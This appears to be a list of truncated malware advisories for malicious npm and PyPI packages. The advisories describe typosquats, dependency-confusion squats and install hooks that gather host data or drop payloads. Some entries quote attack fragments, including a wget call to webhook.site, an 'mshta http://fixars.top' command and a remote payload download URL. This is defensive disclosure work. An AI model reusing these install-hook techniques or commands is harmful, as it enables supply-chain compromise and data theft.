Malicious code in @gt-test-exp/profiler-exp-00000014 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c51b7092656c3db4fbbdda5d871101d0c628296f48b0721d5582ac611e48e90d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000013 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 036037f2fada913d2d48f6da85263a3bf5a08034babfcfb875803654a7b62daf Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000006 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 46832c276e26bc47c7c29aa926eceeb289e5579037272b187f0691fe5adbee16 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000012 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware ebdd7455bbb1cfd4bee434a8ca61052a81515e3b7d722b76ddfb391427e4e294 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000008 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 58eafbcbb1bc421e2f19f4539db3e76ca501bbde728f54b36b67b5292f073ae5 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000011 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d8469d200c782e7ca622ab45b8feea3d4f93ef1331508444276ac8dee60a3c66 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000010 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d94a10fd29e374b81b936aeae4958169a303dbad33491e2d9f933c0b5c11d30b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000009 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c84ce939d8df9588dac92328a32e8a93cc162df1c691edf60d955c440a4ea5da Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000004 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 91349d128e919bddbdd9b7bd7f82284163d6282d072040a816ae22e14401c363 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000001 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0285c20b8d174c6e3c2540d3ef222917a7c087bc29c9698f338bc862954e9d84 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000002 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 1dc5884175c7dc809c1bbc5ffa179fb86fb84e07903ca747d62692257a7972fd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000005 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware a719b12b0a3a236ece513374dd46b73a69a18f73c26e074b1fd13d5ca4d6da1a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gt-test-exp/profiler-exp-00000003 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 7a3e4c3d7eb7ff7cc6100fdedb0043142f7cae8c4cc0b2a3f31f371c77ead14a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in openai-apps (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b14c6aa9b0f0ab8c4eef077cf58971cd053092124a8d91cb2d478f04bc22ad4d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in dogfood-search (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware ee9ec99742993d16c0c4ef9257240a9841f876da2940bcfb6ceb77b0e51a02cf Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in vibewise (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5ac8cff44b5e6eda49cbb2c32a6333f5ff2d6910165abc081d1fe0d0bcf11118 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in gpapp (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 8adfa222041807cea6aa53e26cca9c0eba0922efbb9afd0d201d90a3ba201165 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in vibewise-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 15898c2463520d4782a63156f0ed592f5dc543a0f17bcf72c3d32cb3711b2b06 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in apps-gpt (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3e4f318d51a7f0497c7ccda97eb2fbb28071e892d784e3204cb12d9a0b77b4ce Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in gpapps (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c69ed66c16eae7a851716f0e0dd61bcc036eb2f1faf2de66faadd80ef3701776 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @gleamkit/ws (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8fc9213fe9e786988b3fd882b571f03aeaa1487b8006badb837b4e804da66eee The package publishes under scope @gleamkit/ws while copying the ws package's description, homepage, repository, author, and README verbatim, and...

Malicious code in @iana-rzms/bff-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b7adbad0c719aec3345c5aa16b3435e8621f4a81b5a0e0cf0e0d979509e5d21f Package published to the public @iana-rzms scope as a dependency-confusion squat targeting an internal ICANN namespace. The preinstall lifecycle scri...

Malicious code in @espn-ping/react-dmed-oauth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3bc0467ac62043cf22dd249a99ff1279646dc599702140998ff5b86c79645364 @espn-ping/[email protected] declares a preinstall lifecycle script node index.js /dev/null 2&1 that automatically executes on npm install...

Malicious code in @db-tools/main-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d3b0edc39a389f4099895c647f0cdccbb08c85e56835670468e7a989b172e9f package.json declares a preinstall hook npm install @sentry/node && node examples/verify.js that fires on every npm install. examples/verify.js calls...

Malicious code in @equansservices/tool (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7bb693b5ae7f1fccb6c2aaa1a5f9225b23fb7ece3928feca604f2c5139ee5198 The package's postinstall hook node setup.js fetches a platform-specific payload from http://d2vf4rs175cy2k.cloudfront.net/install/v1/plugin.zip over...

Malicious code in @equansservices/codex (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c5e64d3c1e1d799f465001f52813a12ba2cf757ce9ea50c27d184b7549000dc9 @equansservices/codex is a typosquat of @openai/codex it also declares @openai/codex as a dependency to appear legitimate. Its package.json declares ...

Malicious code in @car_loans/dealerships-approval (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 326f8f463729022112e04c36fd7a67e785ad8fc37f8e7eec19f60738597bd43d @carloans/dealerships-approval 7.1.5 self-describes as a 'browserslist config' but ships a heavily obfuscated postinstall dropper. package.json...

Malicious code in @jplopezy/connectivity-test-do-not-install (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 94a8451d9e6d0f50b066cc79da664b4ec909dc1fb835c39f938b5a58dd9f8ad5 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in chai-as-precision (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8b5d1218fae5d91755d8f9ca8ed37983e7d589c6fd88012d3ddb29a84a2cc56 Package is published as chai-as-precision but its shipped code mimics pino exports middleware.pino, ships pino.js/proto.js/redaction.js, a name/purpo...

Malicious code in pure-folder-three (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e83bf74d7c84c48a1a478d7bb40bbd899c4fda613f1512b66184d3de478b480 [email protected] executes attacker-controlled shell commands on install and on import. The postinstall entry src/build.js decodes an obfuscate...

Malicious code in dotnet-runtime-base (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c10c75766303f8c3bf261487e341e537f103116026309006ab71d977aacdd235 The package's postinstall lifecycle script package.json line 7: "postinstall": "node install.js" runs install.js, which on Windows writes a PowerShel...

Malicious code in node-sysmetrics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e624a951ebd9352b2b8d47bf80d418a01674640ec2d2b2592f00bb446f110c68 On npm install, install.js executes as a postinstall script and drops a detached background Node process at /tmp/.sysm-agent.js that persists after...

Malicious code in slds-lsp-client (npm)

The slds-lsp-client package was published to the npm registry by user 'click2ai' maintainer email [email protected] as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization a Salesforce SLD...

Malicious code in chat-adapter-zoom (npm)

The chat-adapter-zoom package was published to the npm registry by user 'click2ai' maintainer email [email protected] as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization a Zoom...

Malicious code in salesforce-vscode-slds (npm)

The salesforce-vscode-slds package was published to the npm registry by user 'click2ai' maintainer email [email protected] as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization a...

Malicious code in fast-dotenv (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da3250a4b69ccce49128d2e75ffb9e577746de4fb3afe0e0d242fbe5d094d02d The package presents itself as a.env loader but on load/config spawns a background thread that, after a 72–96 hour activation delay jittered by...

Malicious code in babel-preset-lib-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4274de0136aa69f8b0f4eba03412c7809a1b8c2446bb3ed7f6de1333475aa4c4 index.js, the package main, runs a load-time IIFE that collects OS platform and architecture, hostname, username, private and public IP via...

Malicious code in auto-debug-tool (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8dd31c11b5149d8dd2142c81cc066576dc799ba4dae4599a9569cb56256417ec package.json declares a postinstall hook node install.js that fires automatically on npm install. On Windows, install.js invokes hidden PowerShell -N...

Malicious code in vuln-package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a8bd105bf3b12062f312b41f2a1eead5e8481f8d3749fc78bc79ed8675c11394 On npm install, the package's preinstall script triggers a DNS lookup to a unique subdomain of oast.fun fabekzbnjtufpffkzzmvjvi5eafhny3ok.oast.fun, a...

Malicious code in mcp-notes-server-poc-praetorian (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a926b6d3f87c9242af654ce9379abe9e511aa6366efe7667822080968c66f65 On startup of the CLI/bin entry, [email protected] issues an unconditional HTTPS GET to the hardcoded host ft8swuagwwf6newi.ixx.s...

Malicious code in pipspeed (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b1037d713fe94f92e9f1302a1c8fdfcd03ee290e1f2076e7c01cbd1305499e91 The package's advertised public entry point pipspeed.optimize GETs a JSON document from https://www.jsonkeeper.com/b/53XMN an anonymous, mutable past...

Malicious code in @meziizana/frontend-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7d77255cb713e19b9560cc339e937518fdbfb49ab048d9d5a65ad81c1309a9a package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/f164a383-b9e7-4379-b18c-38bf41a3c152/ with query...

Malicious code in react-next-vite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 286869faf09aec1d62b472e43a7188a1583c5cf8c999d1fb2e116f0b7f5ba8c6 The package impersonates the pino logger README/badges reference pino; module.exports.pino is the middleware while its name is react-next-vite. When ...

Malicious code in nullrift (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29ebce322ac712405bfd29254cbd8f820c20ddc083587693a982b75ef6f3039a Package advertises itself as an SVG fetcher/sanitizer but its main module also exports an undocumented getPlugin function. The returned function...

Malicious code in chain-await-dom (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c7412987df7a746c9128ca807cbd2222b340e3b4f8397620348fc62606a0f2b5 The package's declared main entry index.js exports a factory check that spawns a detached, unreferenced Node child process running lib/vcall.js, then...

Malicious code in react-dom-v17 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55f6e35ab09a2fcd6521dac51aa4baa4cfa726958bc266a0d56fc14de240a29 Package name impersonates the widely-used react-dom package react-dom-v17. package.json declares preinstall: node index.js, which fires automatically...

Malicious code in library-explorer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 28b5db05b3bdfb9cc8b1af9759f05a3bc7a1b6a9c364b86831b93df78e9e2273 package.json declares preinstall: node index.js. On npm install, index.js collects installer host identity os.hostname, os.platform, os.arch,...

Malicious code in giantswarm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 75f3a244f2761c56347f695897a491d23ab04cafe1e5b0e46fd7d0d2c993f828 The package declares a preinstall hook node index.js that runs automatically on npm install. index.js collects host reconnaissance — hostname,...

Malicious code in api-changelly (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a94f4aa368f1838507a78dde78062b740a5853b516d9d32782d0264b539b724c The package declares preinstall: node index.js, which runs automatically on npm install. index.js collects installer identifiers os.hostname,...

Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...